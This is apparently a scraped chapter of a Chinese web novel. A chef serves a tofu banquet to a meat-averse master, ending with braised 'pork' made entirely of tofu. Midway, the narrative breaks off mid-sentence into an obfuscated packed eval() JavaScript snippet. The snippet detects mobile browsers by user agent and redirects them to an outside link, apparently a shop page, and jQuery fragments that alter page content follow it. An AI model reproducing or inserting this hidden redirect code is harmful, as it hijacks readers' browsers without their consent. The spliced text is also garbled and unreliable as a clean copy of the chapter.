默认冷灰
24号文字
方正启体

45. 头也不抬

作者:鹤不啻本书字数:K更新时间:
    最为正宗的豆腐箱做法,是先把豆腐切作小块方形,下油锅中炸出酱色再捞出。


    厨子会亲手在豆腐箱的正面一侧划出“箱口”,将内里豆腐尽数挖去,填入提前备好的馅料,盖好“箱盖”,入蒸锅焖熟,如此出锅。


    既然是如此做法,按说端上来的豆腐箱本来就有箱口,是不必由大鸿操持匕首,自行“开箱”的。


    然而乌婕自己做菜惯爱创新,学会此菜后便一直琢磨着要如何“锁箱”。


    若是能为这道菜增加一个“藏宝”的玩味趣处,将来放在酒楼中便有了噱头,方便卖出。


    兢兢业业的乌大厨接连试了好几种方法:比如在豆腐下油锅之前,趁其未曾成形,先行夹馅入内——最后炸出的豆腐散乱、馅料崩飞,堆成了奇妙的珊瑚形状。


    乌婕也试过在豆腐箱中装填好馅料后,选用粘稠的酱汁或两端尖锐的笋丝,重新将箱口封好。


    奈何这种豆腐箱最后还得入蒸锅一次,热熟内里馅料。等它蒸好取出时,被封好的箱口又会膨开,反而让乌婕无从下手了。


    最后,乌婕大厨想出了一个主意:


    不再琢磨正上方的箱门,而是考虑箱身的两头。


    掏弄内里豆腐时,从侧边掏;装填馅料时,也从侧边填。


    如此一来,厨子就不用在豆腐箱的正面割口,当然也没有封口的烦恼了。


    而被剖开的两边,则可以用两块新的小块豆腐轻松填合,堵住。


    堵的时候不必特别严丝合缝,正好可让馅料在被蒸熟的过程中流出的精华的汤汁饱浸两侧,慢慢外渗。


    至于豆腐箱下面那原有的汤汁,其实是专用吊好的高汤,微煸调料拌入增味,煮沸再勾芡,最后浇淋过豆腐箱面,铺陈至盘底处。


    混入馅料的风味后,更增鲜香。


    箱中的馅料,常见有三鲜、蟹黄、什锦等,不同厨子各有偏好,做出来的风味也大不相同。


    “乌唐”大厨的客人不兴吃荤,为她做的豆腐箱中便没有一点肉的影子,而是以蛋代荤,佐以木耳和菜末。


    酱色的箱盖一翻,里面堆出的就是黄澄澄的松软蛋末,点缀青色与乌色,嫩滑喜人。


    “你这箱中藏有金、铜、铁。”


    玄衣人忽然说。


    乌婕做出不解的神色,玄衣人却也没有解释。


    她对大鸿道:“既已赏你了,起来吃吧。”


    大鸿闻声起立,手里的匕首挑过箱底,轻巧一勾,一下就吞咽了。


    她微微弯下腰身,脸上的表情没有变化,仿佛吃下去的是一口空气,而她仍然在等待下一个命令。


    玄衣人朝她点点头,随意道:“回吧。”


    大鸿退回到了主人身后,低垂眉眼,安之若素。


    没人看出她微微卷了一下舌头;有些遗憾,有些回味。


    真正的食客玄衣人夹起筷来,自取了一枚新“箱”,慢条斯理地尝了。


    箱内三色,以金蛋为主,口感细嫩;青色调味,乌色托质,糅杂起来不浓不淡,鲜香适宜。


    玄衣人微微挑眉,这才发觉其中妙思。


    蛋馅虽不如大荤海味出色,调料得宜也可制出浓味,偏偏乌厨是刻意减淡了它的口味,以此调和整菜。


    难得的是箱子本身炸得也好,含酱色而无焦气,微软弹而更有嚼劲,箱内箱外,皆有出彩之处,又无强弱之嫌。


    “怪道你说不是‘百宝箱’。”玄衣人又夹走一块,谈兴渐起,“箱子本身亦是宝了。”


    乌婕脸上露出了更加真切的笑意。


    “有您这话,俺做菜都更有劲了!”


    有这般眼光非凡、评价精准的食客,确实是厨子之幸。


    但乌婕的开心不止有这一处。


    玄衣人尝出了她压淡馅味的设计,也品出了豆腐箱的本味,说明接下来的宴席环节,仍可按照她的料想来推进。


    “最后还有一汤、一菜,大人。”


    玄衣人闻言,正准备夹向最后一枚豆腐箱的筷子一顿。


    但她最后还是夹起,吃下了。


    大不了少喝一碗汤,少尝那盘菜。


    玄衣人如是想。


    乌婕甚至不用起身,就有手脚麻利的侍从自后厨端出了那两道用于镇宴的大菜,一齐奉上。


    它们所用的盘碟比先前的菜肴都要大一些,上面皆盖着精致的白瓷扣盖,郑重非常。


    玄衣人知道这两道菜一定凝聚了乌厨的绝顶手艺,也许比先前那些都要精致,都要奇巧,都要美味。


    但她并非是没有自制力的食客。


    玄衣人已觉得腹中渐鼓,打定主意,接下来定要控制饮食。


    “一同揭开。”


    她如此吩咐,甚至不肯给自己留下逐道品味的机会。


    出乎意料的是,扣盖之下的两道菜,看起来并不十分惊艳。


    那道汤里,有白、绿、红、青等色的细丝,飘逸如云,纤薄若无。


    倘若玄衣人在豆腐宴的头菜位置看到它,她一定会觉得惊奇。


    奈何她先前已经尝过黑白豆腐羹,知道乌厨有那豆腐切丝的手艺,此时的心情就平淡许多。


    想来这道汤里,白的是豆腐丝,绿的像笋丝,红的若椒丝,青的也许是菇丝?


    既是重复的手艺,不过变羹为汤而已。


    玄衣人兴致寥寥,转而往右看去。


    右边那道菜,却让她仅剩的兴趣再次消去了一半。


    ……那是一道色泽红亮、浓香扑鼻的红烧肉。


    平心而论,乌厨选的是好肉,做的也是好菜。


    那些肉块肥瘦相间,滑嫩松软,表面裹着一层浓郁的糖色,偶有“滋滋”的油气作响。


    可是玄衣人看着它,下意识就觉得自己腹中绞痛,口舌泛酸。


    幸好,刚才那份豆腐箱的滋味还留在口中。


    豆腐鲜美、蛋馅柔嫩,唤回了她的神智。


    腹中恰当好处的充实,亦拦截了本就不可能发生的疼痛。


    玄衣人缓缓抬眼,看到站在桌子对面的侍从们中,有好些人都不自觉地把目光朝那道红烧肉上投去,暗暗地吞咽着口水。


    这群人服侍她这样的主子,衣物钱财不缺,唯独在吃食上会有局限。


    毕竟主子不爱吃荤,你做下人的既要小心服侍,还得用心投诚。


    莫说光明正大地吃肉菜了,就是身上沾染肉味让主人闻到,那也只有被厌弃、被打发的下场。


    玄衣人对此没有丝毫愧疚。她才是主人!


    她的目光转而望向做出这道菜的乌婕,神色中隐隐带着审视。


    良久,玄衣人移开了目光。


    站在她身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17436966|199910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    侧的随从也悄悄松了口气,紧绷的神经得以放松,顿时觉得小腿酸疼。


    想来是刚才过分紧张,唯恐主人发怒,站得僵直了,这倒无妨。


    只要无事就好。无事就好。


    乌厨……是外来人,来得又晚,也许人不太聪明,不太了解她的规矩。


    毕竟在莫家时,她虽然不食荤菜,但也没有禁止那些厨子们做肉菜。


    反正都是不好吃的东西,多摆些她不吃的,还能把三桌菜过得更快一些。


    乌厨又不知道这个。


    而且今日虽然是豆腐小宴,也不能样样都是豆腐。


    乌厨为了撑起私宴的规格,当然是荤素都做;只说湖仁本地,没听过有谁是拿豆腐来做镇宴大菜的。


    玄衣人最终还是选择了溺爱。


    “舀汤。”


    乌婕没有立刻吃到责难,心知自己的试探是赌赢了,不免雀跃。


    因此她在玄衣人的行为就更大胆了一些,主动拦了一下那舀汤的侍从,开口说:“大人,这两道菜里面,有一道是有荤的。”


    玄衣人心说我知道啊,浓油赤酱的红烧肉不正摆在我面前吗?


    乌婕冲她憨厚一笑,“汤里头俺切了火腿丝提味,不知道大人能不能吃得惯?”


    噢,原来汤里那红色的不是椒丝,是肉丝。


    原来是汤里有荤。


    ……嗯?


    玄衣人眼眸微亮,精神一振,当即转头朝那道“肉菜”看去!


    瞧着还是肥瘦相间、油腻喷香的……


    她握着筷子,有一点迟疑,但更多还是好奇地扬起,把最顶端的“红烧肉”夹到面前。


    迎着光,玄衣人细细地打量着它,好一会儿才发现其中端倪。


    “这是豆腐?”


    玄衣人难得露出了笑眼。


    乌婕说:“大人聪明绝顶!这就是俺用豆腐做的,其实不带一点荤。它叫‘红烧福黎肉’!”


    她还洋洋洒洒地介绍起那汤:“大人,那道汤里俺原是不想放火腿的,但是俺老师教俺时就说,这道汤是名菜,步骤不能改变,做的时候不准敷衍。尤其是豆腐,要用跳刀,千切成丝……”


    玄衣人没再细听,她已低下头去,咬住了那块“肉”。


    乌厨的红烧肉做得极有火候,浓油赤酱,肥而不腻——但这是豆腐做的。


    肥也是豆腐,瘦也是豆腐,口感尽是豆腐,感官却有肉香。


    玄衣人的头脑告诉她,这不是肉。


    她的口舌与喉腹,便也接受,便也顺服了。


    玄衣人越吃,神情越舒展,下筷也越利落。


    在场之人很难真切地体会她的感受;但人人都看得出她的着迷。


    盘中的“红烧肉”一块一块地少下去,玄衣人下筷的速度也一次又一次提高,直到几乎没有停顿。


    她有时甚至懒怠抬手,而是低头将自己的口往筷尖送去,衔住那“肉”,抿得入口即化,浓香盈齿。


    随从一直在旁估摸着主人的饭量,眼看她进食的份额逐渐跨越了某次最高的记录,不得不出言劝阻:“大人,您今日已用过一餐,如今再食,贵体……”


    玄衣人正吃得头也不抬,将此话当做耳旁风一般。


    忽而,她趁隙回道:“再去与我做一盘!”


    “大人不可啊!!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)